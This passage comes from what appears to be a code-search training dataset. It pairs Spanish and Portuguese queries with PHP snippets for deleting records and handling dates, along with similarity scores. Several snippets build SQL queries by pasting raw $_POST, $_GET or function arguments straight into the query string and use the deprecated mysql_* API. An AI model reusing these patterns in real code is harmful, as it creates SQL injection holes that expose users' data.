VENTA\n\t\t\t=============================================*/\n\n\t\t\t$respuesta = ModeloVentas::mdlEliminarVenta($tabla, $_GET[\"idVenta\"]);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"La venta ha sido borrada correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"ventas\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\t}", "function eliminarRelacionProceso(){\n $this->objFunc=$this->create('MODObligacionPago');\n $this->res=$this->objFunc->eliminarRelacionProceso($this->objParam);\n $this->res->imprimirRespuesta($this->res->generarJson());\n }", "public function destroy(IDClienteInmueble $iDClienteInmueble)\n {\n //\n }", "public function eliminarusuario($codigo){\r\n\t//Preparamos la conexion a la bdd:\r\n\t$pdo=Database::connect();\r\n\t$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n\t$sql=\"delete from usuario where codigo=?\";\r\n\t$consulta=$pdo->prepare($sql);\r\n//Ejecutamos la sentencia incluyendo a los parametros:\r\n\t$consulta->execute(array($codigo));\r\n\tDatabase::disconnect();\r\n}", "public function posteliminar() {\n $model = (new PaisRepository())->Obtener($_POST['id']);\n\n $rh = (new PaisRepository())->Eliminar($model);\n\n print_r(json_encode($rh));\n }", "public function excluir($id_cliente, $excluir) {\n\n if($excluir==\"S\") { // se o excluir vier setado com algum valor 'S'\n $sql = \"DELETE FROM cliente WHERE id_cliente = :id_cliente\";\n $qry = $this->db->prepare($sql); // prepare para os dados externos\n $qry->bindValue(\":id_cliente\", $id_cliente); // comando para inserir\n $qry->execute(); // comando para executar\n }\n }", "public function delete_phonesclient(){\n\t\t$this->layout = 'ajax';\n\t\n\t\tif($this->request->is('post')){\n\t\t\t$phonesclient_id = $this->request->data['phonesclient_id'];\n\t\n\t\t\t$obj_phonesclient = $this->Phonesclient->findBy('IDPhoneclient', $phonesclient_id);\n\t\t\tif($obj_phonesclient->saveField('Status', 0)){\n\t\t\t\techo json_encode(array('success'=>true,'msg'=>__('Eliminado con &eacute;xito.')));\n\t\t\t\texit();\n\t\t\t}else{\n\t\t\t\techo json_encode(array('success'=>false,'msg'=>__('Error inesperado.')));\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\t\n\t}", "function excluirPessoa(){\r\n $banco = conectarBanco();\r\n $sql = \"DELETE FROM pessoa WHERE id = '{$_POST[\"id\"]}'\";\r\n $banco->query($sql); // Passa a query fornecida em $sql para o banco de dados\r\n $banco->close(); // Fecha o banco de dados\r\n voltarMenu(); // Volta para a pagina inicial da agenda\r\n}", "public function eliminar()\n\t{\n\t\t$idestado = $_POST['idestado'];\n\t\t//en viamos por parametro el id del estado a eliminar\n\t\tEstado::delete($idestado);\n\t}", "static public function ctrEliminarVenta(){\n\n\t\tif(isset($_GET[\"idVenta\"])){\n\n\t\t\t$tabla = \"ventas\";\n\n\t\t\t$item = \"id\";\n\t\t\t$valor = $_GET[\"idVenta\"];\n\n\t\t\t$traerVenta = ModeloVentas::mdlMostrarVentas($tabla, $item, $valor);\n\n\t\t\t/*=============================================\n\t\t\tACTUALIZAR FECHA ÚLTIMA COMPRA\n\t\t\t=============================================*/\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemVentas = null;\n\t\t\t$valorVentas = null;\n\n\t\t\t$traerVentas = ModeloVentas::mdlEliminarVenta($tabla, $itemVentas, $valorVentas);\n\n\t\t\t$guardarFechas = array();\n\n\t\t\tforeach ($traerVentas as $key => $value) {\n\t\t\t\t\n\t\t\t\tif($value[\"id_cliente\"] == $traerVenta[\"id_cliente\"]){\n\n\t\t\t\t\tarray_push($guardarFechas, $value[\"fecha\"]);\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif(count($guardarFechas) > 1){\n\n\t\t\t\tif($traerVenta[\"fecha\"] > $guardarFechas[count($guardarFechas)-2]){\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-2];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}else{\n\n\t\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t\t$valor = $guardarFechas[count($guardarFechas)-1];\n\t\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\t$item = \"ultima_compra\";\n\t\t\t\t$valor = \"0000-00-00 00:00:00\";\n\t\t\t\t$valorIdCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item, $valor, $valorIdCliente);\n\n\t\t\t}\n\n\t\t\t/*=============================================\n\t\t\tFORMATEAR TABLA DE PRODUCTOS Y LA DE CLIENTES\n\t\t\t=============================================*/\n\n\t\t\t$productos = json_decode($traerVenta[\"productos\"], true);\n\n\t\t\t$totalProductosComprados = array();\n\n\t\t\tforeach ($productos as $key => $value) {\n\n\t\t\t\tarray_push($totalProductosComprados, $value[\"cantidad\"]);\n\t\t\t\t\n\t\t\t\t$tablaProductos = \"productos\";\n\n\t\t\t\t$item = \"id\";\n\t\t\t\t$valor = $value[\"id\"];\n\t\t\t\t$orden = \"id\";\n\n\t\t\t\t$traerProducto = ModeloProductos::mdlMostrarProductos($tablaProductos, $item, $valor, $orden);\n\n\t\t\t\t$item1a = \"ventas\";\n\t\t\t\t$valor1a = $traerProducto[\"ventas\"] - $value[\"cantidad\"];\n\n\t\t\t\t$nuevasVentas = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1a, $valor1a, $valor);\n\n\t\t\t\t$item1b = \"stock\";\n\t\t\t\t$valor1b = $value[\"cantidad\"] + $traerProducto[\"stock\"];\n\n\t\t\t\t$nuevoStock = ModeloProductos::mdlActualizarProducto($tablaProductos, $item1b, $valor1b, $valor);\n\n\t\t\t}\n\n\t\t\t$tablaClientes = \"clientes\";\n\n\t\t\t$itemCliente = \"id\";\n\t\t\t$valorCliente = $traerVenta[\"id_cliente\"];\n\n\t\t\t$traerCliente = ModeloClientes::mdlMostrarClientes($tablaClientes, $itemCliente, $valorCliente);\n\n\t\t\t$item1a = \"compras\";\n\t\t\t$valor1a = $traerCliente[\"compras\"] - array_sum($totalProductosComprados);\n\n\t\t\t$comprasCliente = ModeloClientes::mdlActualizarCliente($tablaClientes, $item1a, $valor1a, $valorCliente);\n\n\t\t\t/*=============================================\n\t\t\tELIMINAR VENTA\n\t\t\t=============================================*/\n\n\t\t\t$respuesta = ModeloVentas::mdlEliminarVenta($tabla, $_GET[\"idVenta\"]);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"La venta ha sido borrada correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"ventas\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\t}", "function removeRegistro($id) {\n GLOBAL $con;\n\n //busca info\n $querybusca = \"select * from kardexs where id='\" . $id . \"'\";\n $qry = mysql_query($querybusca);\n $linha = mysql_fetch_assoc($qry);\n\n //Apagua\n $query = \"delete from kardexs where id='\" . $id . \"'\";\n mysql_query($query, $con) or die(mysql_error());\n\n if (saldoExiste($linha['produto_id'], $linha['estoque_id'])) {\n //atualiza retirando saldo\n $saldoAtual = saldoByEstoque($linha['produto_id'], $linha['estoque_id']);\n if ($linha['sinal'] == '+') {\n $saldoAtual_acerto = $saldoAtual - $linha['qtd'];\n } else {\n $saldoAtual_acerto = $saldoAtual + $linha['qtd'];\n }\n\n\n saldo_atualiza($linha['produto_id'], $linha['estoque_id'], $saldoAtual_acerto);\n }\n}", "public function excluir()\n {\n return (new Database('vagas'))->delete('id = '.$this->id);\n }", "public function eliminar ($idpersona)\n\t{\n\t\t$sql=\"DELETE FROM persona WHERE idpersona='$idpersona';\";\n/*echo \"<pre><br>Elin¡minas:<br>\";\nprint_r($sql);\necho \"</pre>\";\ndie();*/\n\t\treturn ejecutarConsulta($sql);\n\t}", "function deleteComentario($id_evento,$id_comentario){\n $mysqli = Conectar();\n seguridad($id_evento);\n seguridad($id_comentario);\n $mysqli->query(\"Delete From comentarios Where id_evento='$id_evento' and id_comentario='$id_comentario'\");\n }" ]
[ "0.77980226", "0.73040485", "0.71599156", "0.70568985", "0.6905301", "0.69030756", "0.6878988", "0.6798161", "0.6786198", "0.6745999", "0.6724777", "0.6718513", "0.6674204", "0.66661656", "0.6661402", "0.6632", "0.6631669", "0.6615057", "0.65791965", "0.6568596", "0.6557621", "0.65451634", "0.6528453", "0.65254533", "0.6524979", "0.65187365", "0.6509327", "0.64865375", "0.6485632", "0.64830786", "0.6467842", "0.64644635", "0.6437723", "0.63862705", "0.63822544", "0.6377115", "0.63697577", "0.63502127", "0.6345869", "0.6343101", "0.6342449", "0.63399875", "0.63380504", "0.6337031", "0.63349223", "0.6334563", "0.63315177", "0.6330206", "0.6310305", "0.6300042", "0.6299756", "0.6289835", "0.6287133", "0.6281496", "0.6279469", "0.6258843", "0.6258091", "0.6254518", "0.6252196", "0.62445146", "0.62353015", "0.62241626", "0.62179273", "0.62092036", "0.62086505", "0.62067735", "0.6187049", "0.61857903", "0.6184986", "0.6183057", "0.61818457", "0.6180528", "0.61739916", "0.6168695", "0.6165116", "0.6153281", "0.6151823", "0.61512697", "0.61383003", "0.6136937", "0.61366576", "0.6135216", "0.6135216", "0.6135216", "0.61308146", "0.61268693", "0.6116915", "0.6112447", "0.6111011", "0.61084366", "0.6102433", "0.61003435", "0.60918343", "0.6088509", "0.6086464", "0.6077379", "0.6061284", "0.60577315", "0.60553795", "0.6052943", "0.60528994" ]
0.0
-1
Obtiene el dia de entrega del pedido
function ObtieneDiaEntrega($NumPedido,$CodArti){ if($this->con->conectar()==true){ return mysql_query("SELECT * FROM `DET_PedidosSolicitados` WHERE `NumPedido` = '" .$NumPedido. "' and `NumPedido` = '" .$CodArti. "'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_taplicacion_procesos_fecha_desde(): string {\n return $this->taplicacion_procesos_fecha_desde;\n }", "public function getfechaentrega()\r\n {\r\n return $this->fechaentrega;\r\n }", "public function getFechaComentario()\n {\n return $this->fecha_comentario;\n }", "public function getDiaNacimiento() {\n\t\treturn $this->diaNacimiento;\n\t}", "function primer_dia_periodo() {\n\n $sql=\"select fecha_inicio from mocovi_periodo_presupuestario where actual=true\";\n $resul=toba::db('designa')->consultar($sql);\n return $resul[0]['fecha_inicio'];\n \n }", "public function getIdade() {\r\n return $this->idade;\r\n }", "function getDay()\r\n {\r\n return $this->dia;\r\n }", "function ultimo_dia_periodo() { \n\n $sql=\"select fecha_fin from mocovi_periodo_presupuestario where actual=true\";\n $resul=toba::db('designa')->consultar($sql); \n return $resul[0]['fecha_fin'];\n }", "public function getedadPaciente(){\n\n\t if ($this->_edadPaciente === null && $this->paciente !== null){\n\n\t $anyoN = date(\"Y\", strtotime($this->paciente->fecha_nacimiento));\n\t $mesN = date(\"m\", strtotime($this->paciente->fecha_nacimiento)); \n\t $diaN = date(\"d\", strtotime($this->paciente->fecha_nacimiento)); \n\n\t $anyoA = date(\"Y\");\n\t $mesA = date(\"m\");\n\t $diaA = date(\"d\");\n\n\t $this->_edadPaciente = $anyoA - $anyoN;\n\n\t if($mesA < $mesN || ( ($mesA==$mesN) && ($diaN >= $diaA) ) )\n\t {\n\t \t$this->_edadPaciente -= 1;\n\t }\n\t \n\t }\n\n\t return $this->_edadPaciente;\n\t}", "public function dias_del_mes(){\n \n $fecha= date('Y-m-d');\n return; date('t',strtotime($fecha));\n \n}", "public function getfecha()\r\n {\r\n return $this->fecha;\r\n }", "public function getDiaCalendario(){\n return $this->diaCalendario;\n }", "function primer_dia_periodo_anio($anio) {\n\n $sql=\"select fecha_inicio from mocovi_periodo_presupuestario where anio=\".$anio;\n $resul=toba::db('designa')->consultar($sql);\n return $resul[0]['fecha_inicio'];\n }", "public function getAtendido() {\n return $this->atendido;\n }", "function Fecha_dia($Ingresodia){\t\n$dia1 = new DateTime($Ingresodia);\n$dia = $dia1->format('d');\n$cadena = (\"$dia\");\nreturn $cadena;\n}", "public function modalitadiPagamento(){\n $delta = substr($this->dataInizioPeriodo(), -4) - substr($this->dataFinePeriodo(), -4);\n \n if($delta != 0) {\n return \"due soluzioni, di cui la seconda al termine del contratto\";\n } else {\n return \"un'unica soluzione al termine del contratto\";\n }\n\n }", "function obtenerPeriodoActual($conexion)\n{\n $anoActual = date('Y');\n $mesActual = date('m');\n\n if ($mesActual > 6) {\n $sentencia = \"select idPeriodo from periodo where AnoInicio=\" . $anoActual;\n } elseif ($mesActual <= 6) {\n $sentencia = \"select idPeriodo from periodo where AnoInicio=\" . ($anoActual - 1);\n }\n\n $conexion->Ejecuto($sentencia);\n $periodo = $conexion->Siguiente();\n return $periodo['idPeriodo'];\n}", "public function gethoraentrega()\r\n {\r\n return $this->horaentrega;\r\n }", "public function possuiCalculoPorDiaDoMes() {\n return $this->lControleDiasNoMes;\n }", "public function getFechaNacimiento() {\n\t\treturn $this->fechaNacimiento;\n\t}", "public function getFechaCreacionPD( ){\n\t\t \treturn $this->fechaCreacionPD;\n\t\t }", "public function PedidosDelDia()\r\n {\r\n $objetoBD = new Conexion();\r\n $objetoBD->conectar();\r\n $mysqli = $objetoBD->cadenaconexion();\r\n \r\n $consulta = \"SELECT ped_id, clie_nombres, clie_apellidos, ped_hora_entrega, ped_direccion, ped_estado\r\n FROM pedidos, clientes WHERE clientes.clie_id=pedidos.clie_id AND ped_estado='PENDIENTE' AND ped_fecha_entrega=CURDATE() GROUP BY ped_id\";\r\n $resultado = $mysqli->query($consulta);\r\n return $resultado;\r\n }", "public function getDateDebut();", "public function trae_solo_anio_actual()\n {\n return $this->fecha->year;\n }", "public function GetIdPedido()\n\t{\n\t\treturn $this->idPed;\n\t}", "public function getDateNaissanceEnfant() {\n return $this->dateNaissanceEnfant;\n }", "function getFecha(){\n\t\treturn $this->fecha;\n\t}", "function getFecha() {\r\n return $this->fecha;\r\n }", "public function getDuracion() {\n return $this->duracion;\n }", "public function getFechaModificacionPD( ){\n\t\t \treturn $this->fechaModificacionPD;\n\t\t }", "function calculaEdad($fechanacimiento) {\n list($anio, $mes, $dia) = explode(\"-\", $fechanacimiento);\n $anioDiferencia = date(\"Y\") - $anio;\n $mesDiferencia = date(\"m\") - $mes;\n $diaDiferencia = date(\"d\") - $dia;\n\n if ($diaDiferencia < 0 || $mesDiferencia < 0)\n $anioDiferencia--;\n\n return $anioDiferencia;\n }", "public function cadastrar() \n{\n //DEFINIR A DATA\n $this->data = date(\"Y:m:d H:i:s\");\n \n //INSERIR A VAGA NO BANCO\n\n //ATRIBUIR O ID NA VAGA DA INSTANCIA\n\n //RETORNAR SUCESSO\n\n}", "function getSemanadoAno()\r\n {\r\n return Data_Calc::semanaDoAno($this->dia, $this->mes, $this->ano);\r\n }", "public function PedidosDelDia2()\r\n {\r\n $objetoBD = new Conexion();\r\n $objetoBD->conectar();\r\n $mysqli = $objetoBD->cadenaconexion();\r\n \r\n $consulta = \"SELECT ped_id, clie_nombres, clie_apellidos, ped_hora_entrega, ped_direccion, ped_estado\r\n FROM pedidos, clientes WHERE clientes.clie_id=pedidos.clie_id AND ped_fecha_entrega=CURDATE() GROUP BY ped_id\";\r\n $resultado = $mysqli->query($consulta);\r\n return $resultado;\r\n }", "public function getEncuestaFechacreacion()\r\n {\r\n return $this->encuesta_fechaCreacion;\r\n }", "public function fechaPostagem ()\n {\n // Busca numero da PLP nos parametros\n $this->load->model(\"M_Sigep\");\n $cliente = $this->M_Sigep->getIdPlpCliente();\n if ( $cliente == false )\n die (\"Falha ao recuperar ID PLP Cliente.\");\n\n // Busca todas as etiquetas que não foram enviadas ainda aos Correios\n $etiquetas = $this->M_Sigep->buscar(\"SELECT a.*,b.* FROM tb_pedido a, tb_pedido_servico b WHERE a.fgenviado = 'N' AND a.idPedido = b.idPedido\");\n if ( !$etiquetas )\n die (\"Falha ao recuperar as etiquetas que não foram enviadas.\");\n\n $codigos = array();\n for ($i = 0; $reg = $etiquetas->fetch(); $i++)\n $codigos[$i] = $reg->codigoobjetoect;\n\n $sigep = $this->sigep->fechaPLP( $codigos, $cliente->idplpcliente);\n if ( !empty($sigep['msgErro']) )\n die (\"Erro no método fechaPostagem: \".$sigep[\"msgErro\"]);\n else {\n // Corrige todos os pedidos marcando que ja foram enviados\n $this->M_Sigep->corrigeFlagPedidos($codigos);\n // Incrementa o numero do ID PLP Cliente\n $this->M_Sigep->corrigeIdPlpCliente();\n } \n }", "public function gerarVenda($titulo,$cliente){\n //$conexao = $c->conexao();\n\n\n $sql = \"INSERT INTO tbpedidos (reg, tipo, titulo, data_inc) VALUES ('$cliente','V','$titulo', NOW()) \";\n\n return $this->conexao->query($sql);\n\n\n }", "public function crearDia($dia1, $sucursal, $mes) {\n $dia = new Dia();\n\n\n # Set the parameters\n $dia->numDia = $dia1;\n setlocale(LC_TIME, 'es_ES');\n $formato = 'd-m-Y';\n #$diaSemana = DateTime::createFromFormat($formato, $dia->numDia.'-'.$mes->mes.'-'.$mes->ano)->format('l');\n setlocale(LC_TIME, 'es_ES.UTF8'); ##GOP ojo cambiar en produccion\n #setlocale(LC_TIME, 'es_ES');\n $fecha = DateTime::createFromFormat($formato, $dia->numDia.'-'.$mes->mes.'-'.$mes->ano);\n $dia->diaSemana = strftime(\"%A\", $fecha->getTimestamp());\n #dd($dia->diaSemana);\n if($dia->diaSemana == \"sábado\" or $dia->diaSemana == \"domingo\"){\n $dia->estatus = 0;\n }else{\n $dia->estatus = 1;\n }\n $dia->mes_id = $mes->id;\n\n $dia->mes()->associate($mes);\n\n $dia->save();\n\n\n\n\n\n $start = new \\DateTime($sucursal->horaInicio);\n $end = new \\DateTime($sucursal->horaFin);\n $start = $start->sub(new \\DateInterval('PT30M'));\n while($start < $end){\n $hr = $start->add(new \\DateInterval('PT30M'));\n $this->crearHora($hr, $sucursal,$dia);\n }\n\n return true;\n\t}", "public function getDataCadastroCliente()\n {\n return new DateTime($this->dataCadastroCliente);\n }", "function get_convocatoria_actual_otro(){\n $actual=date('Y-m-d');\n $anio_actual= date(\"Y\", strtotime($actual));\n \n $sql=\"select id_conv from convocatoria_proyectos \"\n .\" where fec_inicio<='\".$actual.\"' and fec_fin >='\".$actual.\"'\"\n . \" and id_tipo=2\";\n $resul=toba::db('designa')->consultar($sql);\n if(count($resul)>0){\n return $resul[0]['id_conv'];\n }else \n return null;\n }", "public function getIdDetail()\n {\n \treturn \"AVD-03-\". date(\"Y\") . sprintf('%05d', $this->id_actadocumentacion);\n }", "public function getDateDebutPaternite() {\n return $this->dateDebutPaternite;\n }", "public function getDay() : int \n {\n return $this->day;\n }", "public function getCod_entidad_tuicion()\n {\n return $this->cod_entidad_tuicion;\n }", "public function getDpto()\n {\n return $this->dpto;\n }", "public function getFechaInicioAtencion() {\n return $this->fecha_inicio_atencion;\n }", "public function getFechaNacimiento()\n {\n return $this->fecha_nacimiento;\n }", "public function getIdDepartamento() \n\t{\n\t\treturn $this->IdDepartamento;\n\t}", "public function getIdCalendario(){\n return $this->idCalendario;\n }", "public function getCod_entidad()\n {\n return $this->cod_entidad;\n }", "public function getDatenaissance()\n {\n return $this->date_naissance;\n }", "public function getnacimiento()\n {\n return $this->nacimiento;\n }", "function getDepartamento()\n {\n return $this->departamento;\n }", "public function getDeterminarMetodologiaCalculo()\r\n\t\t{\r\n\t\t\t// Se refiere al parametro \"base-calculo\" de la entidad \"tipos-propagandas\".\r\n\t\t\t$idMetodo = 0;\r\n\r\n\t\t\t$tipo = self::getDatosPropaganda()->tipoPropaganda;\r\n\t\t\tif ( isset($tipo->base_calculo) ) {\r\n\t\t\t\t$idMetodo = (int)$tipo->base_calculo;\r\n\t\t\t}\r\n\t\t\treturn $idMetodo;\r\n\t\t}", "public function getDataEmissao()\n {\n if ($this->data_emissao) {\n return $this->data_emissao->format('d/m/Y');\n }\n return null;\n }", "function proximoDiaUtil($data, $saida = 'd/m/Y') {\r\n\r\n $timestamp = strtotime($data);\r\n $dia = date('N', $timestamp);\r\n if ($dia >= 6) {\r\n $timestamp_final = $timestamp + ((8 - $dia) * 3600 * 24);\r\n } else {\r\n $timestamp_final = $timestamp;\r\n }\r\n return date($saida, $timestamp_final);\r\n }", "public static function getDiaMesAno($fecha){\n \n $timestamp = strtotime($fecha);\n \n return date('d/m/Y', $timestamp);\n \n }", "public function getDipartimento() {\n return $this->dipartimento;\n }", "function hacerPedido($usuario, $fecha){\n $sql=\"INSERT INTO pedido(id, id_user, fecha) VALUES (NULL, \".$usuario.\", '\".$fecha.\"')\";\n //Realizamos la consulta\n $resultado=$this->realizarConsulta($sql);\n if($resultado!=false){\n //Recogemos el ultimo pedido insertado\n $sql=\"SELECT * from pedido ORDER BY id DESC\";\n //Realizamos la consulta\n $resultado=$this->realizarConsulta($sql);\n if($resultado!=false){\n return $resultado->fetch_assoc();\n }else{\n return null;\n }\n }else{\n return null;\n }\n}", "public function getDepartamentoId()\n {\n return $this->Departamento_id;\n }", "public function getAPartirDe(): ?DateTime {\n return $this->aPartirDe;\n }", "public function getDeId()\n {\n return $this->de_id;\n }", "public function getEstimacionEntrega()\n {\n \tif ( $this->getIdEshop() ) {\n \t\treturn 'Envío en 96hs Hábiles';\n \t}\n\n $campana = campanaTable::getInstance()->getFirstByIdProducto( $this->getIdProducto() );\n \n\t\tif ( $campana )\n { \n\n \tif ( $campana->getIdCampana() == 2776 ) {\n\t \t\treturn 'FECHA ESTIMADA DE ENVÍO ENTRE EL 06 DE NOVIEMBRE Y EL 14 DE NOVIEMBRE.';\n\t \t}\n\n if ( $campana && $campana->getIdCampana() == 2798 ) {\n return 'FECHA ESTIMADA DE ENVÍO ENTRE EL 13 DE NOVIEMBRE Y EL 21 DE NOVIEMBRE.';\n }\n\n\n if ( $campana->getEstimacionEnvioFecha() )\n {\n return 'Fecha estimada de envío: ' . strftime('%e de %B', strtotime($campana->getEstimacionEnvioFecha()));\n }\n elseif ( $campana->getEstimacionEnvioHoras() )\n {\n return 'Envío en ' . $campana->getEstimacionEnvioHoras() . 'hs Hábiles';\n }\n else\n {\n $timestampFechaFinCampana = strtotime($campana->getFechaFin());\n \n $desde = pmDateHelper::getInstance()->sumarDiasHabiles( 5, 'Y-m-d', $timestampFechaFinCampana);\n $hasta = pmDateHelper::getInstance()->sumarDiasHabiles( 10, 'Y-m-d', $timestampFechaFinCampana );\n \n return 'Fecha estimada de envío entre el ' . strftime('%e de %B', strtotime($desde)) . ' y el ' . strftime('%e de %B', strtotime($hasta)) . '.';\n }\n }\n \n if ( $this->getEsOutlet() )\n {\n $outletData = configuracionTable::getInstance()->getOutlet();\n $outletData = json_decode($outletData->getValor(), true);\n \n if ( $outletData['estimacion_envio_fecha'] )\n {\n return 'Fecha estimada de envío: ' . strftime('%e de %B', strtotime( $outletData['estimacion_envio_fecha'] ));\n }\n elseif ( $outletData['estimacion_envio_horas'] )\n {\n return 'Envío en ' . $outletData['estimacion_envio_horas'] . 'hs Hábiles';\n }\n else\n {\n $timestampFechaFin = strtotime( $outletData['fecha_fin'] );\n \n $desde = pmDateHelper::getInstance()->sumarDiasHabiles( 5, 'Y-m-d', $timestampFechaFin);\n $hasta = pmDateHelper::getInstance()->sumarDiasHabiles( 10, 'Y-m-d', $timestampFechaFin );\n \n return 'Fecha estimada de envío entre el ' . strftime('%e de %B', strtotime($desde)) . ' y el ' . strftime('%e de %B', strtotime($hasta)) . '.';\n } \n }\n \n $timestampFecha = time();\n $desde = pmDateHelper::getInstance()->sumarDiasHabiles( 5, 'Y-m-d', $timestampFecha );\n $hasta = pmDateHelper::getInstance()->sumarDiasHabiles( 10, 'Y-m-d', $timestampFecha );\n \n return 'Fecha estimada de envío entre el ' . strftime('%e de %B', strtotime($desde)) . ' y el ' . strftime('%e de %B', strtotime($hasta)) . '.';\n }", "public function getrep_fecha()\r\n {\r\n return $this->rep_fecha;\r\n }", "public function getAtualizadoEm()\n {\n return $this->atualizadoEm;\n }", "public function getAtraso() \n {\n // verifica se o atras ja foi calculado\n if (!$this->atraso) { \n $dataAtual = time();\n $vencimento = strtotime(Helper::dateUnmask($this->data_vencimento, Helper::DATE_DEFAULT));\n $diferenca = $dataAtual - $vencimento;\n\n // calcula o atraso e\n // não considera o dia do vencimento\n $this->atraso = round($diferenca / (60 * 60 * 24)) - 1;\n \n // valida o atraso negativo\n if ($this->atraso < 0) {\n $this->atraso = 0;\n }\n }\n \n return $this->atraso;\n }", "function fecha($cadena){\n\t\treturn date($cadena);\n\t}", "public function getIdComentario()\n {\n return $this->id_comentario;\n }", "public function getFecha()\n {\n return $this->fecha;\n }", "public function getFecha()\n {\n return $this->fecha;\n }", "public function getEdad()\n {\n $dateOfBirth = $this->getFechaNac();\n $today = date(\"Y-m-d\");\n $diff = date_diff(date_create($dateOfBirth), date_create($today));\n return (int)$diff->format('%y');\n\n }", "function obtener_dia($fecha) {\r\nreturn(substr($fecha,8,2));\r\n}", "public function getUltimoDiaMes($elAnio,$elMes) {\n return date(\"d\",(mktime(0,0,0,$elMes+1,1,$elAnio)-1));\n }", "public function getFecha() {\n return $this->fecha;\n }", "public function getFecha() {\n return $this->fecha;\n }", "public function getIdFolioTemporal( ){\n\t\treturn $this->idFolioTemporal;\n\t}", "public function getDepartamentoId()\n\t{\n\t\treturn $this->departamento_id;\n\t}", "public function asignarOrden()\n {\n $arrayDeseados = Deseados::find()\n ->where(['usuario_id' => $this->usuario_id])\n ->orderBy('orden')\n ->all();\n\n $orden = sizeof($arrayDeseados)+1;\n\n return $orden;\n }", "public function puestaACero() {\n $this -> horas = 0;\n $this -> minutos = 0;\n $this -> segundos = 0;\n }", "public function fechaVigencia() // funcion que suma fecha usada para años biciestos\n\t{\n\n\t\t$fecha = $_GET['fecha'];\n\t\t$nuevafecha = strtotime('+365 day', strtotime($fecha));\n\t\t$nuevafecha = date('Y-m-d', $nuevafecha);\n\t\treturn $nuevafecha;\n\t}", "public function obtenerAutoridad($idcarrera, $idtipocargo, $idsede)\n {\n \tif($idtipocargo == 1 or $idtipocargo == 2) {\n\t \t$q = Doctrine_Query::create()\n\t\t \t\t->select(\"*\")\n\t\t \t\t->from(\"DesignacionesEmpleados de\")\n\t\t \t\t->innerjoin('de.Empleados e on de.idempleado=e.idempleado')\n\t\t \t\t->where(\"de.idtipocargo = \".$idtipocargo)\n\t\t \t\t->andWhere(\"de.inicio<CURRENT_TIMESTAMP()\")\n\t\t \t->andWhere(\"(de.fin>CURRENT_TIMESTAMP() or de.fin='0000-00-00')\")\n\t\t \t->andWhere(\"de.activo = 1\") \t\n\t\t \t->fetchOne(); \n\t\t// Director\t \t\t\n\t } elseif ($idtipocargo == 19) {\n\t \t$q = Doctrine_Query::create()\n\t \t\t->select(\"*\")\n\t \t\t->from(\"DesignacionesEmpleados de\")\n\t \t\t->innerjoin('de.Empleados e on de.idempleado=e.idempleado')\n\t \t\t->where(\"de.idtipocargo = \".$idtipocargo)\n\t \t\t->andWhere(\"de.inicio<CURRENT_TIMESTAMP()\")\n\t \t\t->andWhere(\"de.fin>CURRENT_TIMESTAMP() or de.fin='0000-00-00'\")\n\t \t\t->andWhere(\"de.activo = 1\")\n\t \t\t->andWhere('de.idempleado IN (\n\t\t \t\t\t\tSELECT es.idempleado\n\t\t \t\t\t\tFROM EmpleadosSede es\n\t\t \t\t\t\tWHERE es.idsede = '.$idsede.')')\n\t \t\t->andWhere('de.idarea IN (\n\t\t \t\t\t\tSELECT ac.idarea\n\t\t \t\t\t\tFROM AreasCarrera ac\n\t \t\t\t\t\tINNER JOIN ac.Areas ar ON ac.idarea=ar.idarea\n\t\t \t\t\t\tWHERE (ar.idtipoarea = 5 or ar.idtipoarea = 7) and ac.idcarrera = '.$idcarrera.')')\n\t \t\t->fetchOne();\t\n\t\t// Decano o Sec Academico\t \t\t\n \t} else {\n\t \t$q = Doctrine_Query::create()\n\t\t \t\t->select(\"*\")\n\t\t \t\t->from(\"DesignacionesEmpleados de\")\n\t\t \t\t->innerjoin('de.Empleados e on de.idempleado=e.idempleado')\n\t\t \t\t->where(\"de.idtipocargo = \".$idtipocargo)\n\t\t \t\t->andWhere(\"de.inicio<CURRENT_TIMESTAMP()\")\n\t\t \t->andWhere(\"de.fin>CURRENT_TIMESTAMP() or de.fin='0000-00-00'\")\n\t\t \t->andWhere(\"de.activo = 1\")\n\t \t\t->andWhere('de.idarea IN (\n\t\t \t\t\t\tSELECT ac.idarea \n\t\t \t\t\t\tFROM AreasCarrera ac\n\t\t \t\t\t\tWHERE ac.idcarrera = '.$idcarrera.')')\t \t\t \t\n\t\t 